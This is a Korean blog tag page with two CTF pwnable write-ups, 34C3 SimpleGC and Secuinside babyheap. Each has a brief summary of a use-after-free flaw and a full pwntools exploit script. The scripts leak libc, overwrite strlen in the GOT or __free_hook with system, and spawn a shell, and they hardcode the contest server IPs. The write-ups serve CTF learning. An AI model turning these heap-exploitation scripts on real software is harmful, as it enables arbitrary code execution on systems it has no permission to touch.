'uaf'에 해당되는 글 2건
- 2018.01.07 [34C3 CTF_2017] SimpleGC(pwnable)
- 2017.07.20 [Secuinside CTF_2017] babyheap(pwn)
## 34C3 CTF_2017(simpleGC, pwn)
[Summary]
1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.
2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.
=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후
=> Garbage Collection 스레드에 의해 free된다.
3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.
=> group_name에 strlen got로 변조하면
=> user3의 group_name_ptr이 strlen got로 변하게 되고
=> leak과 got overwrite가 가능해짐
4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.
=> 관련 내용은 차후 추가 예정..
[Exploit Code] - sgc_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | from pwn import * #import hexdump context(arch='amd64',os='linux') local=True #local=False if local: #local_libc = ELF("./libc-2.26.so") #p = process("./sgc", env={'LD_PRELOAD':local_libc.path}) p = process("./sgc") else: #remote_libc = ELF("./libc.so.6") p = remote("35.198.176.224", 1337) binary = ELF("./sgc") libc = binary.libc raw_input() def print_menu(): print p.recvuntil("Action: ") def add_user(user_name, group_name, age): print_menu() p.send('0\n') print p.recvuntil("name: ") p.send(user_name+'\n') print p.recvuntil("group: ") p.send(group_name+'\n') print p.recvuntil("age: ") p.send(str(age)+'\n') def display_user(user_idx): print_menu() p.send('2\n') print p.recvuntil("index: ") p.send(str(user_idx)+'\n') response = p.recvuntil("0: Add a user") return response def edit_group(user_idx, prop, group_name): print_menu() p.send('3\n') print p.recvuntil("index: ") p.send(str(user_idx)+'\n') print p.recvuntil("group(y/n): ") p.send(prop+'\n') print p.recvuntil("name: ") p.send(group_name+'\n') def delete_user(user_idx): print_menu() p.send('4\n') print p.recvuntil("index: ") p.send(str(user_idx)+'\n') if __name__ == '__main__': ############################################## # Stage 1 : overflow group's reference count # ############################################## for i in xrange(255): add_user("AAAA", "groupA", 10) edit_group(0, "n", "groupC") delete_user(0) add_user("B"*31, "groupB", 20) add_user("A"*31, "groupA", 20) # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr) #################################### # Stage 2 : Trigger UAF & got leak # #################################### add_user("B"*31, "groupB", 20) # group_name_ptr add_user("B"*31, "groupB", 20) # group strlen_got = binary.got['strlen'] edit_group(1, "y", p64(20)+p64(strlen_got)+p64(strlen_got)) response = display_user(3) strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12] + "\x00\x00") libc_base = strlen_addr - libc.symbols['strlen'] system_addr = libc_base + libc.symbols['system'] print "[+] libc base addr : " + hex(libc_base) print "[+] system addr : " + hex(system_addr) ############################################# # Stage 3-1 : Overwrite got(strlen->system) # # Stage 3-2 : make system("/bin/sh") # ############################################# edit_group(3, "y", p64(system_addr)) add_user("/bin/sh", "groupD", 20) p.interactive() | cs |
[Reference]
1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py
2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC
2. http://tukan.farm/2017/07/08/tcache/
'CTF writeup' 카테고리의 다른 글
[34C3 CTF_2017] readme_revenge(pwnable) (0) | 2018.01.22 |
---|---|
[HITCON CTF_2017] start(pwnable) (0) | 2017.11.22 |
[CSAW CTF_2017] prophecy(reversing) (0) | 2017.09.21 |
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
[ASIS CTF_2017] mrs. hudson(pwnable) (0) | 2017.09.13 |
## Secuinside CTF_2017(babyheap, pwn)
[Summary]
1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점
2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.
3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
(이 때 팀의 description에는 __free_got주소를 넣는다.)
4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
(__free_got주소안에 system함수 주소를 넣는다.)
5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
(이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)
6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
(마찬가지로 system주소, __free_got도 계산)
7. Heap Leak도 할 수 있지만 여기서는 필요 없다.
[Analysis]
시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)
이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을
참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..
[Exploit Code] - babyheap_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | from pwn import * import os #import hexdump context(arch='amd64',os='linux') local=True #local=False if local: #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} p = process("./babyheap") else: p = remote("13.124.157.141", 31337) binary = ELF("./babyheap") raw_input() def print_menu(): print p.recvuntil('>') def create_team(length, desc): print_menu() p.send('1\n') print p.recvuntil('length :') p.send(length+'\n') print p.recvuntil('Description :') p.send(desc) def manager_team(index): print_menu() p.send('3\n') print p.recvuntil('Index :') p.send(index+'\n') def list_team(team_cnt): print_menu() p.send('4\n') for i in xrange(team_cnt): print p.recvuntil('Description : ') if (i+1) == team_cnt: leak = p.recv(6); print leak return leak def add_member(employment_cnt): print_menu() p.send('1\n') print p.recvuntil('employment :') p.send(employment_cnt+'\n') def add_member_info(name, desc): print p.recvuntil('Name :') p.send(name) print p.recvuntil('Description :') p.send(desc) def delete_member(index): print_menu() p.send('2\n') print p.recvuntil('Index :') p.send(index+'\n') def manage_member(index, desc): print_menu() p.send('4\n') print p.recvuntil('Index :') p.send(index+'\n') print p.recvuntil('Description :') p.send(desc) def return2team(): print_menu() p.send('5\n') if __name__ == '__main__': #################### Stage 1 ################### # libc base leak & calc libc's free_hook # ################################################ create_team(str(5), 'AAAA') # 0 team manager_team('0') emp_cnt = 0xff add_member(str(emp_cnt)) for i in xrange(emp_cnt): add_member_info('/bin/sh\x00','/bin/sh\x00') delete_member('0') return2team() create_team(str(0xc8), '\n') # 1 team+0x16~ : free list's addr libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak) libc_base = libc_leak - 0x3c270a free_hook = libc_base + 0x3c4a10 system = libc_base + 0x46590 print "[+] libc base addr : " + hex(libc_base) print "[+] libc free_hook : " + hex(free_hook) print "[+] system addr : " + hex(system) ################### Stage 2 #################### # overwrite __free_hook to system using UAF # ################################################ manager_team('0') add_member('1') # realloc(0) => free() return2team() create_team(str(0x7f8), p64(free_hook)+'\n') # 0xff*0x8 = 0x7f8 => uaf manager_team('0') manage_member('0', p64(system)) # overwrite free_hook to system(uaf) delete_member('4') # triggering to free(overwritten system) p.interactive() | cs |
'CTF writeup' 카테고리의 다른 글
[Secuinside CTF_2017] snake(reversing) (0) | 2017.07.22 |
---|---|
[Secuinside CTF_2017] TrippleRotate(reversing) (0) | 2017.07.22 |
[Codegate CTF_2017] EasyCrack 101(reversing) (0) | 2017.02.19 |
[Codegate CTF_2017] angrybird(reversing) (0) | 2017.02.19 |
[Codegate CTF_2017] RamG-thunder(reversing) (2) | 2017.02.19 |